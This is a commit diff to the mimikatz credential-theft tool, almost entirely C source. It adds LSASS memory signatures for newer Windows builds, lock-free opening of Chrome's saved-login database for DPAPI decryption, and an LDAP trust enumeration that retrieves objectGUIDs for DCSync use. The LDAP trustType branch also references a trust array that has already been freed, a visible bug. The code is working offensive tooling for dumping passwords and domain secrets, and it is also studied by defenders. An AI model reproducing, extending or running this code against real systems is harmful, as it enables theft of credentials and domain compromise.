Skip to content

Commit a3a4413

Browse files
gentilkiwiwzdiyb
gentilkiwi
authored and
wzdiyb
committed
[fix gentilkiwi#199] Allow dpapi::chrome to open DB without lock (library update to support win32-none VFS) thank you @psychomario !
[new] net::trust adds LDAP search to get objectGuid for lsadump::dcsync usage
1 parent cfd63e7 commit a3a4413

9 files changed

Lines changed: 51515 additions & 24989 deletions

File tree

‎mimikatz/mimikatz.vcxproj‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -153,7 +153,7 @@
153153
<ClCompile Include="..\modules\kull_m_token.c" />
154154
<ClCompile Include="..\modules\kull_m_xml.c" />
155155
<ClCompile Include="..\modules\sqlite3_omit.c">
156-
<PreprocessorDefinitions>SQLITE_TEMP_STORE=3;SQLITE_DISABLE_INTRINSIC;SQLITE_DISABLE_LFS;SQLITE_DISABLE_DIRSYNC;SQLITE_DISABLE_FTS3_UNICODE;SQLITE_DISABLE_FTS4_DEFERRED;SQLITE_DISABLE_PAGECACHE_OVERFLOW_STATS;SQLITE_OMIT_TRIGGER;SQLITE_OMIT_WAL;SQLITE_OMIT_FLOATING_POINT;SQLITE_OMIT_VIRTUALTABLE;SQLITE_OMIT_PRAGMA;SQLITE_OMIT_FOREIGN_KEY;SQLITE_OMIT_AUTOVACUUM;SQLITE_OMIT_SUBQUERY;SQLITE_OMIT_COMPOUND_SELECT;SQLITE_OMIT_EXPLAIN;SQLITE_OMIT_DATETIME_FUNCS;SQLITE_OMIT_INTEGRITY_CHECK;SQLITE_OMIT_ATTACH;SQLITE_OMIT_ALTERTABLE;SQLITE_OMIT_UTF16;SQLITE_OMIT_SHARED_CACHE;SQLITE_OMIT_INCRBLOB;SQLITE_OMIT_ANALYZE;SQLITE_OMIT_AUTHORIZATION;SQLITE_OMIT_VACUUM;SQLITE_OMIT_PAGER_PRAGMAS;SQLITE_OMIT_OR_OPTIMIZATION;SQLITE_OMIT_VIEW;SQLITE_OMIT_BUILTIN_TEST;SQLITE_OMIT_XFER_OPT;SQLITE_OMIT_AUTOINCREMENT;SQLITE_OMIT_SCHEMA_PRAGMAS;SQLITE_OMIT_TRACE;SQLITE_OMIT_LOAD_EXTENSION;SQLITE_OMIT_AUTOMATIC_INDEX;SQLITE_OMIT_LIKE_OPTIMIZATION;SQLITE_OMIT_REINDEX;SQLITE_OMIT_GET_TABLE;SQLITE_OMIT_COMPLETE;SQLITE_OMIT_TEMPDB;SQLITE_OMIT_BTREECOUNT;SQLITE_OMIT_LOCALTIME;SQLITE_OMIT_COMPILEOPTION_DIAGS;SQLITE_OMIT_FLAG_PRAGMAS;SQLITE_OMIT_QUICKBALANCE;SQLITE_OMIT_CAST;SQLITE_OMIT_CHECK;SQLITE_OMIT_MEMORYDB;SQLITE_OMIT_BLOB_LITERAL;SQLITE_OMIT_SCHEMA_VERSION_PRAGMAS;SQLITE_OMIT_LOOKASIDE;SQLITE_OMIT_AUTOINIT;SQLITE_OMIT_DECLTYPE;SQLITE_OMIT_DEPRECATED;SQLITE_OMIT_BETWEEN_OPTIMIZATION;SQLITE_OMIT_PROGRESS_CALLBACK;SQLITE_OMIT_TRUNCATE_OPTIMIZATION;SQLITE_OMIT_TCL_VARIABLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
156+
<PreprocessorDefinitions>SQLITE_TEMP_STORE=3;SQLITE_DISABLE_INTRINSIC;SQLITE_DISABLE_LFS;SQLITE_DISABLE_DIRSYNC;SQLITE_DISABLE_FTS3_UNICODE;SQLITE_DISABLE_FTS4_DEFERRED;SQLITE_DISABLE_PAGECACHE_OVERFLOW_STATS;SQLITE_OMIT_TRIGGER;SQLITE_OMIT_WAL;SQLITE_OMIT_VIRTUALTABLE;SQLITE_OMIT_PRAGMA;SQLITE_OMIT_FOREIGN_KEY;SQLITE_OMIT_AUTOVACUUM;SQLITE_OMIT_SUBQUERY;SQLITE_OMIT_COMPOUND_SELECT;SQLITE_OMIT_EXPLAIN;SQLITE_OMIT_DATETIME_FUNCS;SQLITE_OMIT_INTEGRITY_CHECK;SQLITE_OMIT_ATTACH;SQLITE_OMIT_UTF16;SQLITE_OMIT_SHARED_CACHE;SQLITE_OMIT_INCRBLOB;SQLITE_OMIT_ANALYZE;SQLITE_OMIT_AUTHORIZATION;SQLITE_OMIT_VACUUM;SQLITE_OMIT_PAGER_PRAGMAS;SQLITE_OMIT_OR_OPTIMIZATION;SQLITE_OMIT_BUILTIN_TEST;SQLITE_OMIT_XFER_OPT;SQLITE_OMIT_AUTOINCREMENT;SQLITE_OMIT_SCHEMA_PRAGMAS;SQLITE_OMIT_TRACE;SQLITE_OMIT_LOAD_EXTENSION;SQLITE_OMIT_AUTOMATIC_INDEX;SQLITE_OMIT_LIKE_OPTIMIZATION;SQLITE_OMIT_REINDEX;SQLITE_OMIT_GET_TABLE;SQLITE_OMIT_COMPLETE;SQLITE_OMIT_TEMPDB;SQLITE_OMIT_BTREECOUNT;SQLITE_OMIT_LOCALTIME;SQLITE_OMIT_COMPILEOPTION_DIAGS;SQLITE_OMIT_FLAG_PRAGMAS;SQLITE_OMIT_QUICKBALANCE;SQLITE_OMIT_CAST;SQLITE_OMIT_CHECK;SQLITE_OMIT_MEMORYDB;SQLITE_OMIT_BLOB_LITERAL;SQLITE_OMIT_SCHEMA_VERSION_PRAGMAS;SQLITE_OMIT_LOOKASIDE;SQLITE_OMIT_AUTOINIT;SQLITE_OMIT_DECLTYPE;SQLITE_OMIT_DEPRECATED;SQLITE_OMIT_BETWEEN_OPTIMIZATION;SQLITE_OMIT_PROGRESS_CALLBACK;SQLITE_OMIT_TRUNCATE_OPTIMIZATION;SQLITE_OMIT_TCL_VARIABLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
157157
<TreatWarningAsError>false</TreatWarningAsError>
158158
<WarningLevel>Level2</WarningLevel>
159159
</ClCompile>

‎mimikatz/modules/dpapi/packages/kuhl_m_dpapi_chrome.c‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@ NTSTATUS kuhl_m_dpapi_chrome(int argc, wchar_t * argv[])
2424
rc = sqlite3_initialize();
2525
if(rc == SQLITE_OK)
2626
{
27-
rc = sqlite3_open_v2(aInfile, &pDb, SQLITE_OPEN_READONLY, NULL);
27+
rc = sqlite3_open_v2(aInfile, &pDb, SQLITE_OPEN_READONLY, "win32-none");
2828
if(rc == SQLITE_OK)
2929
{
3030
if(kuhl_m_dpapi_chrome_isTableExist(pDb, "logins"))

‎mimikatz/modules/kuhl_m_net.c‎

Lines changed: 104 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -575,12 +575,23 @@ NTSTATUS kuhl_m_net_serverinfo(int argc, wchar_t * argv[])
575575

576576
const PCWCHAR TRUST_ATTRIBUTES_FLAGS[] = {L"IN_FOREST", L"DIRECT_OUTBOUND", L"TREE_ROOT", L"PRIMARY", L"NATIVE_MODE", L"DIRECT_INBOUND"};
577577
const PCWCHAR TRUST_ATTRIBUTES[] = {L"NON_TRANSITIVE", L"UPLEVEL_ONLY", L"FILTER_SIDS/QUARANTINED_DOMAIN", L"FOREST_TRANSITIVE", L"CROSS_ORGANIZATION", L"WITHIN_FOREST", L"TREAT_AS_EXTERNAL", L"TRUST_USES_RC4_ENCRYPTION", L"TRUST_USES_AES_KEYS"};
578+
const PCWCHAR TRUST_DIRECTION[] = {L"DISABLED", L"INBOUND", L"OUTBOUND", L"BIDIRECTIONAL"};
578579
NTSTATUS kuhl_m_net_trust(int argc, wchar_t * argv[])
579580
{
580581
PDS_DOMAIN_TRUSTS pTrusts;
581582
ULONG uTrusts;
582583
DWORD ret, i, j;
583-
ret = DsEnumerateDomainTrusts(argc ? argv[0] : NULL, DS_DOMAIN_VALID_FLAGS, &pTrusts, &uTrusts);
584+
PWCHAR server, dn, sysDN, pAttribute, myAttrs[] = {L"trustPartner", L"flatName", L"trustAttributes", L"trustDirection", L"trustType", L"objectGUID", NULL};
585+
PLDAP ld;
586+
PLDAPMessage pMessage = NULL, pEntry;
587+
BerElement* pBer = NULL;
588+
PBERVAL *pBerVal;
589+
PCHAR aBuffer;
590+
591+
kull_m_string_args_byName(argc, argv, L"server", &server, NULL);
592+
593+
kprintf(L"RPC mode: ");
594+
ret = DsEnumerateDomainTrusts(server, DS_DOMAIN_VALID_FLAGS, &pTrusts, &uTrusts);
584595
if(ret == ERROR_SUCCESS)
585596
{
586597
for(i = 0; i < uTrusts; i++)
@@ -617,7 +628,7 @@ NTSTATUS kuhl_m_net_trust(int argc, wchar_t * argv[])
617628
kprintf(L" Attributes: 0x%08x ( ", pTrusts[i].TrustAttributes);
618629
for(j = 0; j < (8 * sizeof(DWORD)); j++)
619630
if((pTrusts[i].TrustAttributes >> j) & 1)
620-
kprintf(L"%s ; ", (j < ARRAYSIZE(TRUST_ATTRIBUTES)) ? TRUST_ATTRIBUTES[j] : L"?");
631+
kprintf(L"%s ; ", (j < ARRAYSIZE(TRUST_ATTRIBUTES)) ? TRUST_ATTRIBUTES[j] : L"?");
621632
kprintf(L")\n SID : ");
622633
kull_m_string_displaySID(pTrusts[i].DomainSid);
623634
kprintf(L"\n GUID : ");
@@ -627,6 +638,96 @@ NTSTATUS kuhl_m_net_trust(int argc, wchar_t * argv[])
627638
NetApiBufferFree(pTrusts);
628639
}
629640
else PRINT_ERROR(L"DsEnumerateDomainTrusts: %u\n", ret);
641+
642+
kprintf(L"\n\nLDAP mode: ");
643+
if(kull_m_ldap_getLdapAndRootDN(server, L"defaultNamingContext", &ld, &dn))
644+
{
645+
if(kull_m_string_sprintf(&sysDN, L"CN=System,%s", dn))
646+
{
647+
ret = ldap_search_s(ld, sysDN, LDAP_SCOPE_ONELEVEL, L"(objectClass=trustedDomain)", myAttrs, FALSE, &pMessage);
648+
if(ret == LDAP_SUCCESS)
649+
{
650+
kprintf(L"%u entries\n", ldap_count_entries(ld, pMessage));
651+
for(pEntry = ldap_first_entry(ld, pMessage); pEntry; pEntry = ldap_next_entry(ld, pEntry))
652+
{
653+
kprintf(L"\n%s\n", ldap_get_dn(ld, pEntry));
654+
for(pAttribute = ldap_first_attribute(ld, pEntry, &pBer); pAttribute; pAttribute = ldap_next_attribute(ld, pEntry, pBer))
655+
{
656+
kprintf(L" %s: ", pAttribute);
657+
if(pBerVal = ldap_get_values_len(ld, pEntry, pAttribute))
658+
{
659+
if((_wcsicmp(pAttribute, L"objectGUID") == 0))
660+
{
661+
kull_m_string_displayGUID((LPGUID) pBerVal[0]->bv_val);
662+
kprintf(L"\n");
663+
}
664+
else if(
665+
(_wcsicmp(pAttribute, L"trustPartner") == 0) ||
666+
(_wcsicmp(pAttribute, L"flatName") == 0)
667+
)
668+
{
669+
kprintf(L"%*S\n", pBerVal[0]->bv_len, pBerVal[0]->bv_val);
670+
}
671+
else
672+
{
673+
if(kull_m_string_copyA_len(&aBuffer, pBerVal[0]->bv_val, pBerVal[0]->bv_len))
674+
{
675+
ret = strtoul(aBuffer, NULL, 10);
676+
kprintf(L"0x%08x - ", ret);
677+
678+
679+
if(_wcsicmp(pAttribute, L"trustAttributes") == 0)
680+
{
681+
for(j = 0; j < (8 * sizeof(DWORD)); j++)
682+
if((ret >> j) & 1)
683+
kprintf(L"%s ; ", (j < ARRAYSIZE(TRUST_ATTRIBUTES)) ? TRUST_ATTRIBUTES[j] : L"?");
684+
kprintf(L"\n");
685+
}
686+
else if(_wcsicmp(pAttribute, L"trustType") == 0)
687+
{
688+
switch(ret)
689+
{
690+
case TRUST_TYPE_DOWNLEVEL:
691+
kprintf(L"DOWNLEVEL (DC < 2000)\n");
692+
break;
693+
case TRUST_TYPE_UPLEVEL:
694+
kprintf(L"UPLEVEL (DC >= 2000)\n");
695+
break;
696+
case TRUST_TYPE_MIT:
697+
kprintf(L"MIT Kerberos realm\n");
698+
break;
699+
case 0x00000004 /*TRUST_TYPE_DCE*/:
700+
kprintf(L"DCE realm\n");
701+
break;
702+
default:
703+
if((pTrusts[i].TrustType >= 0x5) && (pTrusts[i].TrustType <= 0x000fffff))
704+
kprintf(L"reserved for future use\n");
705+
else if((pTrusts[i].TrustType >= 0x00100000) && (pTrusts[i].TrustType <= 0xfff00000))
706+
kprintf(L"provider specific trust level\n");
707+
else kprintf(L"?\n");
708+
}
709+
}
710+
else if(_wcsicmp(pAttribute, L"trustDirection") == 0)
711+
kprintf(L"%s\n", TRUST_DIRECTION[ret & 0x00000003]);
712+
LocalFree(aBuffer);
713+
}
714+
}
715+
ldap_value_free_len(pBerVal);
716+
}
717+
ldap_memfree(pAttribute);
718+
}
719+
if(pBer)
720+
ber_free(pBer, 0);
721+
}
722+
}
723+
else PRINT_ERROR(L"ldap_search_s 0x%x (%u)\n", ret, ret);
724+
if(pMessage)
725+
ldap_msgfree(pMessage);
726+
LocalFree(sysDN);
727+
}
728+
LocalFree(dn);
729+
ldap_unbind(ld);
730+
}
630731
return STATUS_SUCCESS;
631732
}
632733

@@ -652,7 +753,7 @@ L")";
652753
BOOL isCheckDNS = kull_m_string_args_byName(argc, argv, L"dns", NULL, NULL);
653754
kull_m_string_args_byName(argc, argv, L"server", &server, NULL);
654755

655-
if(kull_m_ldap_getLdapAndRootDN(server, &ld, &dn))
756+
if(kull_m_ldap_getLdapAndRootDN(server, NULL, &ld, &dn))
656757
{
657758
dwRet = ldap_search_s(ld, dn, LDAP_SCOPE_SUBTREE, filter, myAttrs, FALSE, &pMessage);
658759
if(dwRet == LDAP_SUCCESS)

‎mimikatz/modules/kuhl_m_sid.c‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -317,7 +317,7 @@ BOOL kuhl_m_sid_quickSearch(int argc, wchar_t * argv[], BOOL needUnique, PCWCHAR
317317
PWCHAR myAttrs[] = {L"name", L"sAMAccountName", L"objectSid", L"sIDHistory", L"objectGUID", NULL}, dn, filter;
318318
if(filter = kuhl_m_sid_filterFromArgs(argc, argv))
319319
{
320-
if(kull_m_ldap_getLdapAndRootDN(system, ld, &dn))
320+
if(kull_m_ldap_getLdapAndRootDN(system, NULL, ld, &dn))
321321
{
322322
*pMessage = NULL;
323323
dwErr = ldap_search_s(*ld, dn, LDAP_SCOPE_SUBTREE, filter, myAttrs, FALSE, pMessage);

‎mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c‎

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -438,12 +438,14 @@ BYTE PTRN_W2K3_SecData[] = {0x48, 0x8d, 0x6e, 0x30, 0x48, 0x8d, 0x0d};
438438
BYTE PTRN_W2K8_SecData[] = {0x48, 0x8d, 0x94, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d};
439439
BYTE PTRN_W2K12_SecData[] = {0x4c, 0x8d, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x15};
440440
BYTE PTRN_W2K12R2_SecData[] = {0x0f, 0xb6, 0x4c, 0x24, 0x30, 0x85, 0xc0, 0x0f, 0x45, 0xcf, 0x8a, 0xc1};
441+
BYTE PTRN_W2K19_SecData[] = {0x44, 0x8b, 0x45, 0x80, 0x85, 0xc0, 0x0f, 0x84};
441442
KULL_M_PATCH_GENERIC SecDataReferences[] = {
442443
{KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_W2K3_SecData), PTRN_W2K3_SecData}, {0, NULL}, { 7, 37}},
443444
{KULL_M_WIN_BUILD_VISTA, {sizeof(PTRN_W2K8_SecData), PTRN_W2K8_SecData}, {0, NULL}, { 11, 39}},
444445
{KULL_M_WIN_BUILD_8, {sizeof(PTRN_W2K12_SecData), PTRN_W2K12_SecData}, {0, NULL}, { 10, 39}},
445446
{KULL_M_WIN_BUILD_BLUE, {sizeof(PTRN_W2K12R2_SecData), PTRN_W2K12R2_SecData}, {0, NULL}, {-12, 39}},
446-
{KULL_M_WIN_BUILD_10_1507, {sizeof(PTRN_W2K12R2_SecData), PTRN_W2K12R2_SecData}, {0, NULL}, { -9, 39}},
447+
{KULL_M_WIN_BUILD_10_1507, {sizeof(PTRN_W2K12R2_SecData), PTRN_W2K12R2_SecData}, {0, NULL}, { -9, 39}},
448+
{KULL_M_WIN_BUILD_10_1809, {sizeof(PTRN_W2K19_SecData), PTRN_W2K19_SecData}, {0, NULL}, { -9, 39}},
447449
};
448450
#elif defined(_M_IX86)
449451
BYTE PTRN_W2K3_SecData[] = {0x53, 0x56, 0x8d, 0x45, 0x98, 0x50, 0xb9};
@@ -665,9 +667,11 @@ NTSTATUS kuhl_m_sekurlsa_dpapi_system(int argc, wchar_t * argv[])
665667
#if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64
666668
BYTE PTRN_W2K8R2_DomainList[] = {0xf3, 0x0f, 0x6f, 0x6c, 0x24, 0x30, 0xf3, 0x0f, 0x7f, 0x2d};
667669
BYTE PTRN_W2K12R2_DomainList[] = {0x0f, 0x10, 0x45, 0xf0, 0x66, 0x48, 0x0f, 0x7e, 0xc0, 0x0f, 0x11, 0x05};
670+
BYTE PTRN_W2K16_DomainList[] = {0x48, 0x8b, 0xfa, 0x48, 0x8b, 0xf1, 0xeb};
668671
KULL_M_PATCH_GENERIC DomainListReferences[] = {
669-
{KULL_M_WIN_BUILD_7, {sizeof(PTRN_W2K8R2_DomainList), PTRN_W2K8R2_DomainList}, {0, NULL}, {10}},
670-
{KULL_M_WIN_BUILD_BLUE, {sizeof(PTRN_W2K12R2_DomainList), PTRN_W2K12R2_DomainList}, {0, NULL}, {8}},
672+
{KULL_M_WIN_BUILD_7, {sizeof(PTRN_W2K8R2_DomainList), PTRN_W2K8R2_DomainList}, {0, NULL}, {10}},
673+
{KULL_M_WIN_BUILD_BLUE, {sizeof(PTRN_W2K12R2_DomainList), PTRN_W2K12R2_DomainList}, {0, NULL}, { 8}},
674+
{KULL_M_WIN_BUILD_10_1607, {sizeof(PTRN_W2K16_DomainList), PTRN_W2K16_DomainList}, {0, NULL}, {-4}},
671675
};
672676
NTSTATUS kuhl_m_sekurlsa_trust(int argc, wchar_t * argv[])
673677
{

‎modules/kull_m_ldap.c‎

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -5,14 +5,14 @@
55
*/
66
#include "kull_m_ldap.h"
77

8-
BOOL kull_m_ldap_getLdapAndRootDN(PCWCHAR system, PLDAP *ld, PWCHAR *rootDn)
8+
BOOL kull_m_ldap_getLdapAndRootDN(PCWCHAR system, PCWCHAR nc, PLDAP *ld, PWCHAR *rootDn)
99
{
1010
BOOL status = FALSE;
1111
DWORD dwErr;
1212

1313
if(*ld = ldap_init((PWCHAR) system, LDAP_PORT))
1414
{
15-
if(*rootDn = kull_m_ldap_getRootDomainNamingContext(*ld))
15+
if(*rootDn = kull_m_ldap_getRootDomainNamingContext(nc, *ld))
1616
{
1717
dwErr = ldap_bind_s(*ld, NULL, NULL, LDAP_AUTH_NEGOTIATE);
1818
status = (dwErr == LDAP_SUCCESS);
@@ -29,10 +29,10 @@ BOOL kull_m_ldap_getLdapAndRootDN(PCWCHAR system, PLDAP *ld, PWCHAR *rootDn)
2929
return status;
3030
}
3131

32-
PWCHAR kull_m_ldap_getRootDomainNamingContext(LDAP *ld)
32+
PWCHAR kull_m_ldap_getRootDomainNamingContext(PCWCHAR nc, LDAP *ld)
3333
{
3434
DWORD dwErr;
35-
PWCHAR rootAttr[] = {L"rootDomainNamingContext", NULL}, ret = NULL;
35+
PWCHAR rootAttr[] = {nc ? (PWCHAR) nc : L"rootDomainNamingContext", NULL}, ret = NULL;
3636
PLDAPMessage pMessage = NULL;
3737
PBERVAL *pBerVal;
3838

‎modules/kull_m_ldap.h‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,5 +9,5 @@
99
#include <WinBer.h>
1010
#include "kull_m_string.h"
1111

12-
BOOL kull_m_ldap_getLdapAndRootDN(PCWCHAR system, PLDAP *ld, PWCHAR *rootDn);
13-
PWCHAR kull_m_ldap_getRootDomainNamingContext(LDAP *ld);
12+
BOOL kull_m_ldap_getLdapAndRootDN(PCWCHAR system, PCWCHAR nc, PLDAP *ld, PWCHAR *rootDn);
13+
PWCHAR kull_m_ldap_getRootDomainNamingContext(PCWCHAR nc, LDAP *ld);

0 commit comments

Comments
 (0)